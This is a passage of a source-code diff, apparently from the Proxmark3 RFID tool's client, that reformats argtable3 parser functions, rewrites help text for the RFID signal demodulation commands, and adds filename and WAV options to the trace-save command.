2; int tabindex; @@ -3830,8 +3830,7 @@ char *alloc_shortoptions(struct arg_hdr * *table) { /* return index of the table terminator entry */ -static -int arg_endindex(struct arg_hdr * *table) { +static int arg_endindex(struct arg_hdr **table) { int tabindex = 0; while (!(table[tabindex]->flag & ARG_TERMINATOR)) tabindex++; @@ -3839,11 +3838,10 @@ int arg_endindex(struct arg_hdr * *table) { } -static -void arg_parse_tagged(int argc, - char * *argv, - struct arg_hdr * *table, - struct arg_end *endtable) { +static void arg_parse_tagged(int argc, + char **argv, + struct arg_hdr **table, + struct arg_end *endtable) { struct longoptions *longoptions; char *shortoptions; int copt; @@ -3953,11 +3951,10 @@ void arg_parse_tagged(int argc, } -static -void arg_parse_untagged(int argc, - char * *argv, - struct arg_hdr * *table, - struct arg_end *endtable) { +static void arg_parse_untagged(int argc, + char **argv, + struct arg_hdr **table, + struct arg_end *endtable) { int tabindex = 0; int errorlast = 0; const char *optarglast = NULL; @@ -4010,7 +4007,6 @@ void arg_parse_untagged(int argc, optarglast = argv[optind]; parentlast = parent; } - } /* if a tenative error still remains at this point then register it as a proper error */ @@ -4030,8 +4026,7 @@ void arg_parse_untagged(int argc, } -static -void arg_parse_check(struct arg_hdr * *table, struct arg_end *endtable) { +static void arg_parse_check(struct arg_hdr **table, struct arg_end *endtable) { int tabindex = 0; /* printf("arg_parse_check()\n"); */ do { @@ -4045,8 +4040,7 @@ void arg_parse_check(struct arg_hdr * *table, struct arg_end *endtable) { } -static -void arg_reset(void * *argtable) { +static void arg_reset(void **argtable) { struct arg_hdr * *table = (struct arg_hdr * *)argtable; int tabindex = 0; /*printf("arg_reset(%p)\n",argtable);*/ @@ -4138,8 +4132,7 @@ int arg_parse(int argc, char * *argv, void * *argtable) { * dest[] == "goodbye cruel world!" * ndest == 10 */ -static -void arg_cat(char * *pdest, const char *src, size_t *pndest) { +static void arg_cat(char **pdest, const char *src, size_t *pndest) { char *dest = *pdest; char *end = dest + *pndest; @@ -4160,13 +4153,12 @@ void arg_cat(char * *pdest, const char *src, size_t *pndest) { } -static -void arg_cat_option(char *dest, - size_t ndest, - const char *shortopts, - const char *longopts, - const char *datatype, - int optvalue) { +static void arg_cat_option(char *dest, + size_t ndest, + const char *shortopts, + const char *longopts, + const char *datatype, + int optvalue) { if (shortopts) { char option[3]; @@ -4219,14 +4211,13 @@ void arg_cat_option(char *dest, } } -static -void arg_cat_optionv(char *dest, - size_t ndest, - const char *shortopts, - const char *longopts, - const char *datatype, - int optvalue, - const char *separator) { +static void arg_cat_optionv(char *dest, + size_t ndest, + const char *shortopts, + const char *longopts, + const char *datatype, + int optvalue, + const char *separator) { separator = separator ? separator : ""; if (shortopts) { @@ -4666,7 +4657,6 @@ int arg_nullcheck(void * *argtable) { return 0; } - /* * arg_free() is deprecated in favour of arg_freetable() due to a flaw in its design. * The flaw results in memory leak in the (very rare) case that an intermediate diff --git a/client/cliparser/argtable3.h b/client/cliparser/argtable3.h index c3ec479ea..d8e3c53cc 100644 --- a/client/cliparser/argtable3.h +++ b/client/cliparser/argtable3.h @@ -1,4 +1,6 @@ /******************************************************************************* + * argtable3: Declares the main interfaces of the library + * * This file is part of the argtable3 library. * * Copyright (C) 1998-2001,2003-2011,2013 Stewart Heitmann @@ -39,6 +41,13 @@ extern "C" { #endif #define ARG_REX_ICASE 1 +#define ARG_DSTR_SIZE 200 +#define ARG_CMD_NAME_LEN 100 +#define ARG_CMD_DESCRIPTION_LEN 256 + +#ifndef ARG_REPLACE_GETOPT +#define ARG_REPLACE_GETOPT 1 /* use the embedded getopt as the system getopt(3) */ +#endif /* ARG_REPLACE_GETOPT */ /* bit masks for arg_hdr.flag */ enum { @@ -143,6 +152,13 @@ struct arg_end { const char **argval; /* Array of pointers to offending argv[] string */ }; +/* +typedef struct arg_cmd_info { + char name[ARG_CMD_NAME_LEN]; + char description[ARG_CMD_DESCRIPTION_LEN]; + arg_cmdfn* proc; +} arg_cmd_info_t; +*/ /**** arg_xxx constructor functions *********************************/ diff --git a/client/cliparser/cliparser.h b/client/cliparser/cliparser.h index c67488d59..866ee07d6 100644 --- a/client/cliparser/cliparser.h +++ b/client/cliparser/cliparser.h @@ -13,16 +13,16 @@ #include "argtable3.h" #include "util.h" -#define arg_param_begin arg_lit0("hH", "help", "print this help and exit") +#define arg_param_begin arg_lit0("hH", "help", "This help") #define arg_param_end arg_end(20) -#define arg_getsize(a) (sizeof(a) / sizeof(a[0])) -#define arg_get_lit(n)(((struct arg_lit*)argtable[n])->count) +#define arg_getsize(a) (sizeof(a) / sizeof(a[0])) +#define arg_get_lit(n) (((struct arg_lit*)argtable[n])->count) #define arg_get_int_count(n)(((struct arg_int*)argtable[n])->count) -#define arg_get_int(n)(((struct arg_int*)argtable[n])->ival[0]) -#define arg_get_int_def(n,def)(arg_get_int_count(n)?(arg_get_int(n)):(def)) -#define arg_get_str(n)((struct arg_str*)argtable[n]) -#define arg_get_str_len(n)(strlen(((struct arg_str*)argtable[n])->sval[0])) +#define arg_get_int(n) (((struct arg_int*)argtable[n])->ival[0]) +#define arg_get_int_def(n, def)(arg_get_int_count(n) ? (arg_get_int(n)) : (def)) +#define arg_get_str(n) ((struct arg_str*)argtable[n]) +#define arg_get_str_len(n) (strlen(((struct arg_str*)argtable[n])->sval[0])) #define arg_strx1(shortopts, longopts, datatype, glossary) (arg_strn((shortopts), (longopts), (datatype), 1, 250, (glossary))) #define arg_strx0(shortopts, longopts, datatype, glossary) (arg_strn((shortopts), (longopts), (datatype), 0, 250, (glossary))) diff --git a/client/cmddata.c b/client/cmddata.c index d13eee46d..613ce11e5 100644 --- a/client/cmddata.c +++ b/client/cmddata.c @@ -1,6 +1,8 @@ //----------------------------------------------------------------------------- // Copyright (C) 2010 iZsh // +// iceman 2019 +// // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of // the license. @@ -32,6 +34,21 @@ int g_DemodClock = 0; static int CmdHelp(const char *Cmd); +static int usage_data_save(void) { + PrintAndLogEx(NORMAL, "Save trace from graph window , i.e. the GraphBuffer"); + PrintAndLogEx(NORMAL, "This is a text file with number -127 to 127. With the option `w` you can save it as wave file"); + PrintAndLogEx(NORMAL, "Filename should be without file extension"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Usage: data save [h] [w] [f ]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " w save as wave format (.wav)"); + PrintAndLogEx(NORMAL, " f save file name"); + PrintAndLogEx(NORMAL, "Samples:"); + PrintAndLogEx(NORMAL, " data save f mytrace - save graphbuffer to file"); + PrintAndLogEx(NORMAL, " data save f mytrace w - save graphbuffer to wave file"); + return PM3_SUCCESS; +} static int usage_data_scale(void) { PrintAndLogEx(NORMAL, "Set cursor display scale."); PrintAndLogEx(NORMAL, "Setting the scale makes the differential `dt` reading between the yellow and purple markers meaningful. "); @@ -40,8 +57,8 @@ static int usage_data_scale(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Usage: data scale [h] "); PrintAndLogEx(NORMAL, "Options:"); - PrintAndLogEx(NORMAL, " h This help"); - PrintAndLogEx(NORMAL, " Sets scale of carrier frequency expressed in kHz"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " sets scale of carrier frequency expressed in kHz"); PrintAndLogEx(NORMAL, "Samples:"); PrintAndLogEx(NORMAL, " data scale 125 - if sampled in 125kHz"); return PM3_SUCCESS; @@ -49,7 +66,7 @@ static int usage_data_scale(void) { static int usage_data_printdemodbuf(void) { PrintAndLogEx(NORMAL, "Usage: data printdemodbuffer x o l "); PrintAndLogEx(NORMAL, "Options:"); - PrintAndLogEx(NORMAL, " h This help"); + PrintAndLogEx(NORMAL, " h this help"); PrintAndLogEx(NORMAL, " i invert Demodbuffer before printing"); PrintAndLogEx(NORMAL, " x output in hex (omit for binary output)"); PrintAndLogEx(NORMAL, " o enter offset in # of bits"); @@ -83,19 +100,26 @@ static int usage_data_biphaserawdecode(void) { } static int usage_data_rawdemod(void) { PrintAndLogEx(NORMAL, "Usage: data rawdemod [modulation] |"); - PrintAndLogEx(NORMAL, " [modulation] as 2 char, 'ab' for ask/biphase, 'am' for ask/manchester, 'ar' for ask/raw, 'fs' for fsk, ..."); - PrintAndLogEx(NORMAL, " 'nr' for nrz/direct, 'p1' for psk1, 'p2' for psk2"); + PrintAndLogEx(NORMAL, " [modulation] as 2 char,"); + PrintAndLogEx(NORMAL, " "_YELLOW_("ab")"- ask/biphase"); + PrintAndLogEx(NORMAL, " "_YELLOW_("am")"- ask/manchester"); + PrintAndLogEx(NORMAL, " "_YELLOW_("ar")"- ask/raw"); + PrintAndLogEx(NORMAL, " "_YELLOW_("fs")"- fsk"); + PrintAndLogEx(NORMAL, " "_YELLOW_("nr")"- nrz/direct"); + PrintAndLogEx(NORMAL, " "_YELLOW_("p1")"- psk1"); + PrintAndLogEx(NORMAL, " "_YELLOW_("p2")"- psk2"); PrintAndLogEx(NORMAL, " as 'h', prints the help for the specific modulation"); PrintAndLogEx(NORMAL, " see specific modulation help for optional parameters"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod fs h = print help specific to fsk demod"); - PrintAndLogEx(NORMAL, " : data rawdemod fs = demod GraphBuffer using: fsk - autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod ab = demod GraphBuffer using: ask/biphase - autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod am = demod GraphBuffer using: ask/manchester - autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod ar = demod GraphBuffer using: ask/raw - autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod nr = demod GraphBuffer using: nrz/direct - autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod p1 = demod GraphBuffer using: psk1 - autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod p2 = demod GraphBuffer using: psk2 - autodetect"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod fs h = print help specific to fsk demod"); + PrintAndLogEx(NORMAL, " data rawdemod fs = demod GraphBuffer using: fsk - autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod ab = demod GraphBuffer using: ask/biphase - autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod am = demod GraphBuffer using: ask/manchester - autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod ar = demod GraphBuffer using: ask/raw - autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod nr = demod GraphBuffer using: nrz/direct - autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod p1 = demod GraphBuffer using: psk1 - autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod p2 = demod GraphBuffer using: psk2 - autodetect"); return PM3_SUCCESS; } static int usage_data_rawdemod_am(void) { @@ -107,11 +131,12 @@ static int usage_data_rawdemod_am(void) { PrintAndLogEx(NORMAL, " [set maximum Samples to read], default = 32768 (512 bits at rf/64)"); PrintAndLogEx(NORMAL, " , 'a' to attempt demod with ask amplification, default = no amp"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod am = demod an ask/manchester tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod am 32 = demod an ask/manchester tag from GraphBuffer using a clock of RF/32"); - PrintAndLogEx(NORMAL, " : data rawdemod am 32 1 = demod an ask/manchester tag from GraphBuffer using a clock of RF/32 and inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod am 1 = demod an ask/manchester tag from GraphBuffer while inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod am 64 1 0 = demod an ask/manchester tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod am = demod an ask/manchester tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod am 32 = demod an ask/manchester tag from GraphBuffer using a clock of RF/32"); + PrintAndLogEx(NORMAL, " data rawdemod am 32 1 = demod an ask/manchester tag from GraphBuffer using a clock of RF/32 and inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod am 1 = demod an ask/manchester tag from GraphBuffer while inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod am 64 1 0 = demod an ask/manchester tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); return PM3_SUCCESS; } static int usage_data_rawdemod_ab(void) { @@ -128,13 +153,14 @@ static int usage_data_rawdemod_ab(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, " NOTE: --invert for Conditional Dephase Encoding (CDP) AKA Differential Manchester"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod ab = demod an ask/biph tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod ab 0 a = demod an ask/biph tag from GraphBuffer, amplified"); - PrintAndLogEx(NORMAL, " : data rawdemod ab 1 32 = demod an ask/biph tag from GraphBuffer using an offset of 1 and a clock of RF/32"); - PrintAndLogEx(NORMAL, " : data rawdemod ab 0 32 1 = demod an ask/biph tag from GraphBuffer using a clock of RF/32 and inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod ab 0 1 = demod an ask/biph tag from GraphBuffer while inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod ab 0 64 1 0 = demod an ask/biph tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); - PrintAndLogEx(NORMAL, " : data rawdemod ab 0 64 1 0 0 a = demod an ask/biph tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors, and amp"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod ab = demod an ask/biph tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod ab 0 a = demod an ask/biph tag from GraphBuffer, amplified"); + PrintAndLogEx(NORMAL, " data rawdemod ab 1 32 = demod an ask/biph tag from GraphBuffer using an offset of 1 and a clock of RF/32"); + PrintAndLogEx(NORMAL, " data rawdemod ab 0 32 1 = demod an ask/biph tag from GraphBuffer using a clock of RF/32 and inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod ab 0 1 = demod an ask/biph tag from GraphBuffer while inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod ab 0 64 1 0 = demod an ask/biph tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); + PrintAndLogEx(NORMAL, " data rawdemod ab 0 64 1 0 0 a = demod an ask/biph tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors, and amp"); return PM3_SUCCESS; } static int usage_data_rawdemod_ar(void) { @@ -145,13 +171,14 @@ static int usage_data_rawdemod_ar(void) { PrintAndLogEx(NORMAL, " [set maximum Samples to read], default = 32768 (1024 bits at rf/64)"); PrintAndLogEx(NORMAL, " , 'a' to attempt demod with ask amplification, default = no amp"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod ar = demod an ask tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod ar a = demod an ask tag from GraphBuffer, amplified"); - PrintAndLogEx(NORMAL, " : data rawdemod ar 32 = demod an ask tag from GraphBuffer using a clock of RF/32"); - PrintAndLogEx(NORMAL, " : data rawdemod ar 32 1 = demod an ask tag from GraphBuffer using a clock of RF/32 and inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod ar 1 = demod an ask tag from GraphBuffer while inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod ar 64 1 0 = demod an ask tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); - PrintAndLogEx(NORMAL, " : data rawdemod ar 64 1 0 0 a = demod an ask tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors, and amp"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod ar = demod an ask tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod ar a = demod an ask tag from GraphBuffer, amplified"); + PrintAndLogEx(NORMAL, " data rawdemod ar 32 = demod an ask tag from GraphBuffer using a clock of RF/32"); + PrintAndLogEx(NORMAL, " data rawdemod ar 32 1 = demod an ask tag from GraphBuffer using a clock of RF/32 and inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod ar 1 = demod an ask tag from GraphBuffer while inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod ar 64 1 0 = demod an ask tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); + PrintAndLogEx(NORMAL, " data rawdemod ar 64 1 0 0 a = demod an ask tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors, and amp"); return PM3_SUCCESS; } static int usage_data_rawdemod_fs(void) { @@ -161,13 +188,14 @@ static int usage_data_rawdemod_fs(void) { PrintAndLogEx(NORMAL, " [fchigh], larger field clock length, omit for autodetect"); PrintAndLogEx(NORMAL, " [fclow], small field clock length, omit for autodetect"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod fs = demod an fsk tag from GraphBuffer using autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod fs 32 = demod an fsk tag from GraphBuffer using a clock of RF/32, autodetect fc"); - PrintAndLogEx(NORMAL, " : data rawdemod fs 1 = demod an fsk tag from GraphBuffer using autodetect, invert output"); - PrintAndLogEx(NORMAL, " : data rawdemod fs 32 1 = demod an fsk tag from GraphBuffer using a clock of RF/32, invert output, autodetect fc"); - PrintAndLogEx(NORMAL, " : data rawdemod fs 64 0 8 5 = demod an fsk1 RF/64 tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod fs 50 0 10 8 = demod an fsk2 RF/50 tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod fs 50 1 10 8 = demod an fsk2a RF/50 tag from GraphBuffer"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod fs = demod an fsk tag from GraphBuffer using autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod fs 32 = demod an fsk tag from GraphBuffer using a clock of RF/32, autodetect fc"); + PrintAndLogEx(NORMAL, " data rawdemod fs 1 = demod an fsk tag from GraphBuffer using autodetect, invert output"); + PrintAndLogEx(NORMAL, " data rawdemod fs 32 1 = demod an fsk tag from GraphBuffer using a clock of RF/32, invert output, autodetect fc"); + PrintAndLogEx(NORMAL, " data rawdemod fs 64 0 8 5 = demod an fsk1 RF/64 tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod fs 50 0 10 8 = demod an fsk2 RF/50 tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod fs 50 1 10 8 = demod an fsk2a RF/50 tag from GraphBuffer"); return PM3_SUCCESS; } static int usage_data_rawdemod_nr(void) { @@ -176,11 +204,12 @@ static int usage_data_rawdemod_nr(void) { PrintAndLogEx(NORMAL, " , 1 for invert output"); PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100."); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod nr = demod a nrz/direct tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod nr 32 = demod a nrz/direct tag from GraphBuffer using a clock of RF/32"); - PrintAndLogEx(NORMAL, " : data rawdemod nr 32 1 = demod a nrz/direct tag from GraphBuffer using a clock of RF/32 and inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod nr 1 = demod a nrz/direct tag from GraphBuffer while inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod nr 64 1 0 = demod a nrz/direct tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod nr = demod a nrz/direct tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod nr 32 = demod a nrz/direct tag from GraphBuffer using a clock of RF/32"); + PrintAndLogEx(NORMAL, " data rawdemod nr 32 1 = demod a nrz/direct tag from GraphBuffer using a clock of RF/32 and inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod nr 1 = demod a nrz/direct tag from GraphBuffer while inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod nr 64 1 0 = demod a nrz/direct tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); return PM3_SUCCESS; } static int usage_data_rawdemod_p1(void) { @@ -189,11 +218,12 @@ static int usage_data_rawdemod_p1(void) { PrintAndLogEx(NORMAL, " , 1 for invert output"); PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100."); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod p1 = demod a psk1 tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod p1 32 = demod a psk1 tag from GraphBuffer using a clock of RF/32"); - PrintAndLogEx(NORMAL, " : data rawdemod p1 32 1 = demod a psk1 tag from GraphBuffer using a clock of RF/32 and inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod p1 1 = demod a psk1 tag from GraphBuffer while inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod p1 64 1 0 = demod a psk1 tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod p1 = demod a psk1 tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod p1 32 = demod a psk1 tag from GraphBuffer using a clock of RF/32"); + PrintAndLogEx(NORMAL, " data rawdemod p1 32 1 = demod a psk1 tag from GraphBuffer using a clock of RF/32 and inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod p1 1 = demod a psk1 tag from GraphBuffer while inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod p1 64 1 0 = demod a psk1 tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); return PM3_SUCCESS; } static int usage_data_rawdemod_p2(void) { @@ -202,11 +232,12 @@ static int usage_data_rawdemod_p2(void) { PrintAndLogEx(NORMAL, " , 1 for invert output"); PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100."); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod p2 = demod a psk2 tag from GraphBuffer, autodetect clock"); - PrintAndLogEx(NORMAL, " : data rawdemod p2 32 = demod a psk2 tag from GraphBuffer using a clock of RF/32"); - PrintAndLogEx(NORMAL, " : data rawdemod p2 32 1 = demod a psk2 tag from GraphBuffer using a clock of RF/32 and inverting output"); - PrintAndLogEx(NORMAL, " : data rawdemod p2 1 = demod a psk2 tag from GraphBuffer, autodetect clock and invert output"); - PrintAndLogEx(NORMAL, " : data rawdemod p2 64 1 0 = demod a psk2 tag from GraphBuffer using a clock of RF/64, inverting output and allowing 0 demod errors"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod p2 = demod a psk2 tag from GraphBuffer, autodetect clock"); + PrintAndLogEx(NORMAL, " data rawdemod p2 32 = demod a psk2 tag from GraphBuffer using a clock of RF/32"); + PrintAndLogEx(NORMAL, " data rawdemod p2 32 1 = demod a psk2 tag from GraphBuffer using a clock of RF/32 and inverting output"); + PrintAndLogEx(NORMAL, " data rawdemod p2 1 = demod a psk2 tag from GraphBuffer, autodetect clock and invert output"); + PrintAndLogEx(NORMAL, " data rawdemod p2 64 1 0 = demod a psk2 tag from GraphBuffer using a clock of RF/64, inverting output and allowing 0 demod errors"); return PM3_SUCCESS; } static int usage_data_autocorr(void) { @@ -406,7 +437,7 @@ static int CmdSetDebugMode(const char *Cmd) { void printDemodBuff(void) { int len = DemodBufferLen; if (len < 1) { - PrintAndLogEx(NORMAL, "(printDemodBuff) no bits found in demod buffer"); + PrintAndLogEx(INFO, "(printDemodBuff) no bits found in demod buffer"); return; } if (len > 512) len = 512; @@ -458,7 +489,7 @@ int CmdPrintDemodBuff(const char *Cmd) { if (errors) return usage_data_printdemodbuf(); if (DemodBufferLen == 0) { - PrintAndLogEx(NORMAL, "Demodbuffer is empty"); + PrintAndLogEx(WARNING, "Demodbuffer is empty"); return PM3_ESOFT; } if (lstrip) { @@ -491,9 +522,9 @@ int CmdPrintDemodBuff(const char *Cmd) { if (numBits == 0) { return PM3_ESOFT; } - PrintAndLogEx(NORMAL, "DemodBuffer: %s", hex); + PrintAndLogEx(SUCCESS, "DemodBuffer: %s", hex); } else { - PrintAndLogEx(NORMAL, "DemodBuffer:\n%s", sprint_bin_break(DemodBuffer + offset, length, 32)); + PrintAndLogEx(SUCCESS, "DemodBuffer:\n%s", sprint_bin_break(DemodBuffer + offset, length, 32)); } return PM3_SUCCESS; } @@ -1558,7 +1589,7 @@ static uint8_t getByte(uint8_t bits_per_sample, BitstreamOut *b) { return val; } -int getSamples(uint32_t n, bool silent) { +int getSamples(uint32_t n, bool verbose) { //If we get all but the last byte in bigbuf, // we don't have to worry about remaining trash // in the last byte in case the bits-per-sample @@ -1568,7 +1599,7 @@ int getSamples(uint32_t n, bool silent) { if (n == 0 || n > sizeof(got)) n = sizeof(got); - if (!silent) PrintAndLogEx(NORMAL, "Reading %d bytes from device memory\n", n); + if (verbose) PrintAndLogEx(INFO, "Reading " _YELLOW_("%u") "bytes from device memory", n); PacketResponseNG response; if (!GetFromDevice(BIG_BUF, got, n, 0, NULL, 0, &response, 10000, true)) { @@ -1576,20 +1607,20 @@ int getSamples(uint32_t n, bool silent) { return PM3_ETIMEOUT; } - if (!silent) PrintAndLogEx(NORMAL, "Data fetched"); + if (verbose) PrintAndLogEx(SUCCESS, "Data fetched"); uint8_t bits_per_sample = 8; //Old devices without this feature would send 0 at arg[0] if (response.oldarg[0] > 0) { sample_config *sc = (sample_config *) response.data.asBytes; - if (!silent) PrintAndLogEx(NORMAL, "Samples @ %d bits/smpl, decimation 1:%d ", sc->bits_per_sample, sc->decimation); + if (verbose) PrintAndLogEx(INFO, "Samples @ " _YELLOW_("%d") "bits/smpl, decimation 1:%d ", sc->bits_per_sample, sc->decimation); bits_per_sample = sc->bits_per_sample; } if (bits_per_sample < 8) { - if (!silent) PrintAndLogEx(NORMAL, "Unpacking..."); + if (verbose) PrintAndLogEx(INFO, "Unpacking..."); BitstreamOut bout = { got, bits_per_sample * n, 0}; int j = 0; @@ -1599,7 +1630,7 @@ int getSamples(uint32_t n, bool silent) { } GraphTraceLen = j; - if (!silent) PrintAndLogEx(NORMAL, "Unpacked %d samples", j); + if (verbose) PrintAndLogEx(INFO, "Unpacked %d samples", j); } else { for (int j = 0; j < n; j++) { @@ -1876,24 +1907,42 @@ int CmdSave(const char *Cmd) { int len = 0; char filename[FILE_PATH_SIZE] = {0x00}; + uint8_t cmdp = 0; + bool errors = false, as_wave = false, has_name = false; - len = strlen(Cmd); - if (len > FILE_PATH_SIZE) len = FILE_PATH_SIZE; - memcpy(filename, Cmd, len); - - FILE *f = fopen(filename, "w"); - if (!f) { - PrintAndLogEx(WARNING, "couldn't open '%s'", filename); - return PM3_EFILE; + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + char ctmp = tolower(param_getchar(Cmd, cmdp)); + switch (ctmp) { + case 'h': + return usage_data_save(); + case 'f': + len = param_getstr(Cmd, cmdp + 1, filename, FILE_PATH_SIZE); + if (len < 1) { + errors = true; + break; + } + has_name = true; + cmdp += 2; + break; + case 'w': + as_wave = true; + cmdp++; + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } } - for (uint32_t i = 0; i < GraphTraceLen; i++) - fprintf(f, "%d\n", GraphBuffer[i]); + if (!has_name) errors = true; - fclose(f); + if (errors || cmdp == 0) return usage_data_save(); - PrintAndLogEx(SUCCESS, "saved to " _YELLOW_("'%s'"), Cmd); - return PM3_SUCCESS; + if (as_wave) + return saveFileWAVE(filename, GraphBuffer, GraphTraceLen); + else + return saveFilePM3(filename, GraphBuffer, GraphTraceLen); } static int CmdScale(const char *Cmd) { @@ -2269,7 +2318,7 @@ static command_t CommandTable[] = { {"printdemodbuffer", CmdPrintDemodBuff, AlwaysAvailable, "[x] [o] [l] -- print the data in the DemodBuffer - 'x' for hex output"}, {"rawdemod", CmdRawDemod, AlwaysAvailable, "[modulation] ... -see help (h option) -- Demodulate the data in the GraphBuffer and output binary"}, {"samples", CmdSamples, IfPm3Present, "[512 - 40000] -- Get raw samples for graph window (GraphBuffer)"}, - {"save", CmdSave, AlwaysAvailable, " -- Save trace (from graph window)"}, + {"save", CmdSave, AlwaysAvailable, "Save trace (from graph window)"}, {"setgraphmarkers", CmdSetGraphMarkers, AlwaysAvailable, "[orange_marker] [blue_marker] (in graph window)"}, {"scale", CmdScale, AlwaysAvailable, " -- Set cursor display scale in carrier frequency expressed in kHz"}, {"setdebugmode", CmdSetDebugMode, AlwaysAvailable, "<0|1|2> -- Set Debugging Level on client side"}, diff --git a/client/cmddata.h b/client/cmddata.h index a4bba407c..a19bead27 100644 --- a/client/cmddata.h +++ b/client/cmddata.h @@ -68,7 +68,7 @@ void setDemodBuff(uint8_t *buff, size_t size, size_t start_idx); bool getDemodBuff(uint8_t *buff, size_t *size); void save_restoreDB(uint8_t saveOpt);// option '1' to save DemodBuffer any other to restore int AutoCorrelate(const int *in, int *out, size_t len, size_t window, bool SaveGrph, bool verbose); -int getSamples(uint32_t n, bool silent); +int getSamples(uint32_t n, bool verbose); void setClockGrid(uint32_t clk, int offset); int directionalThreshold(const int *in, int *out, size_t len, int8_t up, int8_t down); int AskEdgeDetect(const int *in, int *out, int len, int threshold); diff --git a/client/cmdflashmemspiffs.c 